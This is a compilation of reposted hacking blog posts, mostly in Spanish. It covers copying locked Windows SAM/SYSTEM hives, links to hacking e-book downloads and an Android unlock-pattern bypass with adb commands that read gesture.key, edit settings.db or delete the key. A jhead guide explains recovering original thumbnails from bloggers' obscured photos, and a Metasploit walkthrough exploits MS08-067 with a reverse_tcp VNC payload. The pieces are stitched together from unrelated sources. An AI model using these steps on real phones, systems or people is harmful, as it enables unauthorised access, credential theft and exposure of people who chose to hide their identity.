Copying SAM and SYSTEM hives (Or locked files) from a running system by directly dumping sectors.

My Kali installation did not have a copy of fgdump.exe, therefore while googling to download fgdump utility for a friend who is currently doing PWB from offensive security,  I stumbled upon a post which mentioned about dumping the sectors occupied by a file in order to copy a locked file from file system.

Thanks to my fat fingers.

http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin

One needs to have administrative privileges on system in order to achieve this but using this, the local SAM and SYSTEM hive can be copied from a running system without a need to reboot the system using linux bootable cd to free file locks.

The author Armen Hakobyan explains the implementation nicely with all the source codes listed. The list also holds a precompiled binary for 32 bit OS which is compatible with windows 7 as a demo project. 64 bit version can be compiled from sources.

Fdump-demo.exe binary in action.

FDUMP in Action.

Fuente: http://dummy2dummies.blogspot.com/2013/11/copying-sam-and-system-hives-or-locked.html

5 E-BOOK Muy buenos sobre (Hacking)

Hola hermanos en esta ocasión les traigo 5 libros muy buenos donde aprenderemos mas afondo lo que es este mundo del UNDERGROUND o como muchos se dice el MUNDO del HACKING en general.!

espero que los lean y comprendan muchas cosas lo que se puede hacer en el UNDERGROUND,

Libros:
* El arte de la intrusión
* Hacking Ético por - Carlos Tori
* El Libro Negro El Hacker
* Hacking y Cracking Con Google (Los Secretos de Google:)
* Manual de desobediencia a la Ley Sinde por Hacktivistas




1- El arte de la intrusión

Descarga:

http://www.mediafire.com/view/?vxaaqiy0fcfrb8w

Español | PDF | 390 Paginas | Autor: Kevin D. Mitnick “El Condor” | ISBN: 8478977481 |

2- Hacking Ético por - Carlos Tori    (RECOMENDADO)

Descarga:

http://www.mediafire.com/view/?v9qyy1zw7t1x0hb

Hacking Etico, es un libro de seguridad informática que cuenta con 328 páginas redactados con un lenguaje simple y ordenado.

Actualmente se encuentra agotado en Argentina, por ese motivo y otros, el autor decidió liberarlo para que los lectores pudieran apreciar la obra de modo libre sin pagar y a su vez, pudiéndola distribuir sin restricciones. 

En cuanto a su contenido, aquí puede leer el temario completo. 

Su ISBN es 978-987-05-4364-0 y todos sus derechos están registrados, como también su material.

3- El Libro Negro El Hacker

Descarga:

http://www.mediafire.com/?dir10x282z9vwvm

Cómo defender su PC de “Ataques” externos, virus, troyanos, escaneo de puertos, aplicaciones perniciosas.

Cuatro discos llenos de información, utilidades, vínculos a páginas Web.

4-Hacking y Cracking Con Google (Los Secretos de Google:)

Descarga:

http://www.mediafire.com/view/?gfwc2ybizs376yn

Digerati | Spanish| PDF | 36.08MB | 100 Pages | ISBN 8589535436

Descubre todas las opciones ocultas de este potente buscador CÓMO FUNCIONA POR DENTRO - Coloca tu sitio web en los primeros puestos - Haz búsquedas avanzadas de textos e imágenes - Usa las herramientas del idioma - Accede a Google desde tu móvil - Y mucho más EL FINAL DE LA INTIMIDAD Descubre cómo Internet permite descubrir los datos personales de casi cualquier persona, localizar cartas y entregas, consultar datos telefónicos y buscar en bases de datos ocultas. HACKING CON GOOGLE Cómo saberlo todo sobre un sitio, y cómo conocer los datos personales de su dueño, sin ni siquiera invadirlo.

5- Manual de desobediencia a la Ley Sinde por Hacktivistas

Descarga:

http://www.mediafire.com/view/?8fzpttcp5vcg2q6

Este Manual tiene el objetivo de demostrar la ineficacia radical de la Ley Sinde desde un punto de vista práctico. Los usuarios y webmasters encontrarán los métodos más útiles para sortear las barreras de la censura gubernamental. La llamada Ley Sinde ha despertado la oposición de diversos colectivos de ciudadanos tanto por la forma en la que se promovió, al margen de la ciudadanía; como por el hecho de que no responde a los objetivos que dice promover, la supuesta protección de creadores; como por las presiones externas de las industrias que en definitiva han acabado por imponerla. La oposición a la nueva legislación ha sido tan contundente y masiva que podemos decir sin tapujos que esta Ley no es representativa de la voluntad general ni está dirigida al bien común.

Este Manual de desobediencia a la Ley Sinde tiene el objetivo de demostrar la ineficacia radical de la Ley Sinde desde un punto de vista práctico. Los usuarios y webmasters encontrarán los métodos más útiles para sortear las barreras de la censura gubernamental. Hacktivistas.net ha creado este Manual para que la primera web que sea cerrada, se convierta en la más popular de la blogosfera. Para que sus contenidos, lejos de desaparecer, inunden la red. Porque mientras ellos crean comisiones de censura, nosotras y nosotros «rippeamos», subtitulamos, traducimos y compartimos. Es un acto natural que crece de nuestras acciones colectivas.

Porque la cultura quiere ser libre y lo será.

Bueno esto es todo se los recomiendo para que los leean. y comprenda lo que es estar en este mundo.! de mucha ARTE por que el HACKING ES UN ARTE.! 

Salud2: CyRuX

Fuente: http://blackophn.blogspot.com/2013/03/4-muy-buenos-e-book-hacking.html#more

Cómo saltar el patrón de desbloqueo de Android

En la siguiente entrada veremos cómo obtener o eliminar un patrón de bloqueo de Android, siempre como prueba de concepto, así que nada de terminales robados ni de tomar prestado un momento el teléfono de la novia, que os conozco... XD
Como todos sabemos, en Android se utiliza ampliamente el patrón de grid en 3x3, en el que deberemos marcar un mínimo de cuatro puntos y en el que cada punto sólo puede ser utilizado una vez. Cada uno de estos puntos es indexado internamente de 1 a 9. Por ejemplo, en la imagen de la derecha el patrón de desbloqueo sería "2547896".
Este patrón se almacena como un hash SHA-1 en una cadena de bytes dentro del fichero/data/system/gesture.key. El problema es que Android no añade salt a los datos originales y, si tenemos en cuenta que tenemos un número finito de posibles patrones, crear y utilizar un diccionario de hashes válidos es algo muy trivial...

Obteniendo el patrón de desbloqueo

El fichero gesture.key se encuentra en un directorio que no es accesible normalmente, por lo que tendremos que acceder como root, es decir, el teléfono ha de encontrarse previamente rooteado. Además, para poder utilizar el SDK (adb) deberemos conectar el terminal a nuestro equipo y para ello tiene que estar activado el USB debugging. Si se dan estas dos circustancias los pasos son muy sencillos. A continuación veremos cómo hacerlo en un Windows 7 con un Samsung Galaxy S...

Primero conectamos el teléfono y comprobamos que nuestro dispositivo se reconoce correctamente:

D:\android-adt-bundle-windows\sdk\platform-tools>adb.exe devices
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
List of devices attached
303121D3C7E200EC        device

Ahora volcamos el contenido del fichero gesture.key a un fichero de texto en nuestro equipo:

D:\android-adt-bundle-windows\sdk\platform-tools>adb shell "su -c 'cat /data/system/gesture.key'" > prueba.txt
Después lo abrimos con nuestro editor hexadecimal favorito:

D:\android-adt-bundle-windows\sdk\platform-tools>"d:\Program Files (x86)\HxD\HxD.exe" prueba.txt

Copiamos el patrón del dispositvo:

Finalmente, buscamos el hash dentro del diccionario:

Como podéis comprobar, a la izquierda podemos ver el patrón de desbloqueo utilizado. Así de fácil.

Y ahora pensaréis "ya, y si el teléfono no está rooteado o no tiene el debugging activado?". Pues existe otra opción que sería obtener el contenido de la memoria flash mediante JTAG y buscar cada uno de los hashes del diccionario pre-compilado. Podéis descargar scripts en Python que automatizan esta tarea desde http://www.ccl-forensics.com/Software/other-software-a-scripts.html.

Desactivando el patrón de desbloqueo
Por último, existe otra opción que es evadir el patrón de desbloqueo. Para ello se puede:

1. desactivar:

adb shell
cd /data/data/com.android.providers.settings/databases
sqlite3 settings.db
update system set value=0 where name='lock_pattern_autolock';
update system set value=0 where name='lockscreen.lockedoutpermanently';
.quit

y/o eliminar:

adb shell rm /data/system/gesture.key

Fuentes:
Locked Out of Your Phone? Here's How You Bypass the Android Pattern Lock Screen 
Unlocking Android Pattern Locks
Cracking android lockscreens

Fuente original:
http://blackophn.blogspot.com/2013/11/como-comprometer-el-patron-de.html

Como extraer thumbnails de una imagen.

Bueno, extraer de las fotografías los “datos exif” mejor conocidos como metadatos o thumbnail fue un éxito hace pocos años y sin duda mandaron a la fama al chema alonso xD.

En este caso vamos a ver un ejemplo sencillo:

Bajamos una imagen

¿Para que sirve?

Por ejemplo, los blogueros ponen una foto en su perfil o en su pagina, esta foto muestra los pies, los ojos o con paint se ponen unos rayones para que no se vea su horrible y deformado rostro, ahí es cuando entras tu, extraes el thumbnail que vendria siendo una foto original, pero en miniatura.

¿Cómo le hago?

El programa se llama jhead, primero tienes que saber que sistema operativo tienes (OS-X, Linux o Windows), en base a eso tienes que bajar la versión que te sirva(yo baje la de Windows), la utilidad la descargas de aquí:

http://www.sentex.net/~mwandel/jhead/

y lo guardas en:

C:\Documents and Settings\starfox\

*donde starfox es el nombre de tu compu.
Ahora busca una fotografia y guardala en esa misma ubicación:

C:\Documents and Settings\starfox\

Abre simbolo de sistema o en ejecutar pon cmd.exe y se va a abrir una pantallita de ms-dos, no te asustes. Dira algo parecido a esto:

C:\Documents and Settings\starfox>

Luego escribe:

C:\Documents and Settings\starfox>jhead.exe 3.jpg

*3 es el nombre de la foto en este caso. 

Con esto podras ver si efectivamente la foto tiene o no thumbnail. La mayoria de fotos que son tomadas por camara digital tienen y las de celulares tambien. Si no tiene, te dice “header missing”. En caso contrario te dira hasta el modelo de la camara. Proseguimos tecleando lo siguiente:

C:\Documents and Settings\starfox>jhead.exe -st original 3.jpg

Respeta los espacios y el guion, "original" lo puedes cambiar por el nombre que quieras, una vez hecho esto, si quieres cierras el ms-dos y te vas a esta carpeta:

C:\Documents and Settings\starfox\

Se encuentra la foto “original”, con clic derecho te vas a cambiar nombre y le agregas “.jpg” esto es para que la puedas abrir.


¡Listo! 

Fuente:

http://desperdiciodebytes.blogspot.com/2009/12/guia-del-troll-como-extraer-thumbnails.html

Referencias:

http://www.sentex.net/~mwandel/jhead/usage.html

http://www.karmany.net/diseno-grafico/17-diseno-grafico-basico/19-metadatos-imageneshttp://www.kungfoosion.com/2009/01/los-metadatos-de-cristina.html

Laboratorio básico de metasploit (atacando un windows xp)

Buenas tardes.

Estaba recolectando información sobre metasploit para realizar un post completo sobre el tema aunque estoy seguro que los manuales liberados en internet son mas que suficientes. La idea final es realizar pruebas con los últimos exploits publicados.

En esa labor encontré un tutorial muy bueno para empezar los laboratorios para principiantes que prácticamente es una explotación directa a una vulnerabilidad ya muy conocida en el ámbito del hacking.

Cabe anotar que tiene ya un tiempo y que actualmente se podría homologar usando kali y armitage"

Sin mas detalle:

Comencemos con los requisitos para tener todo listo

1. Tener 2 Maquinas Virtuales = Backtrack 4 R2 + Windows XP SP3
<- br="" o="" pueden="" usar="" virtualbox="" vmware="" workstation="">
2. Las 2 Maquinas deven estar en la misma Red. En Network Adapter : Bridge

Mi configuracion en XP SP3


Mi configuracion en Backtrack 4 R 2


3. Encender las 2 Maquinas y comprobar la Configuracion de la IP. Comando Ipconfig / Ifconfig




Como ven en XP -> 192.168.1.10 Backtrack -> 192.168.1.20

Configurar la IP en Windows --> Panel de Control : Conexiones de Red : Click derecho : Propiedades : TCP : Propiedades



Para configurar en Backtrack ->

Si no tienes activo eth0 = ifconfig eth0 up
Asignar una Ip = ifconfig eth0 192.168.1.20
Puerta de enlace = route add default gw 192.168.1.1
Comprobar todo = ifconfig




4. Usar el comando PING para probar conectividad.



:o:o:o:o:o:o


De Ahora en adelante usaremos el Backtrack para aplicar el metasploit y vulnerar XP ("Hackearlo")

[b]Algunas aclaraciones Previas :

- Desactivar el firewall de XP.
- El XP debe ser sin actualizaciones.

COMENCEMOS - TODO SE HACE POR CONSOLA

1. Actualizar el Metasploit : msfupdate <- a="" asi="" br="" de="" deves="" enlace="" esto="" haber="" internet.="" la="" para="" puerta="" puesto="" salida="" tener="" y="">
2. Termino de actualizar cargaremos el Metaploit por consola = msfconsole



3. Podemos ver todos los exploits que hay = show exploits

4. Buscaremos un exploit en especifico = search ms08 / Nos mostrara una lista de varios exploits

5. Usaremos el "exploit windows/smb/ms08_067_netapi" = use windows/smb/ms08_067_netapi



6. Miremos la informacion del Exploit, una ves dentro del exploit = info



7. Asignaremos a la variable RHOST la Ip victima = set RHOST 192.168.1.10

8. Comprobamos que se haya asignado = show options



9. Podemos ver los payloads compatible con este exploit : search payloads

10. Nosotros usaremos el payload "windows/vncinject/reverse_tcp" = set PAYLOAD windows/vncinject/reverse_tcp



11. Asignaremos a la variable LHOST nuestra IP : set LHOST 192.168.1.20

12. Comprobemos que todo este bien : show options



13. EL EXPLOIT :mad: = exploit





Fuente: http://masters-hackers.info/showthread.php?t=4921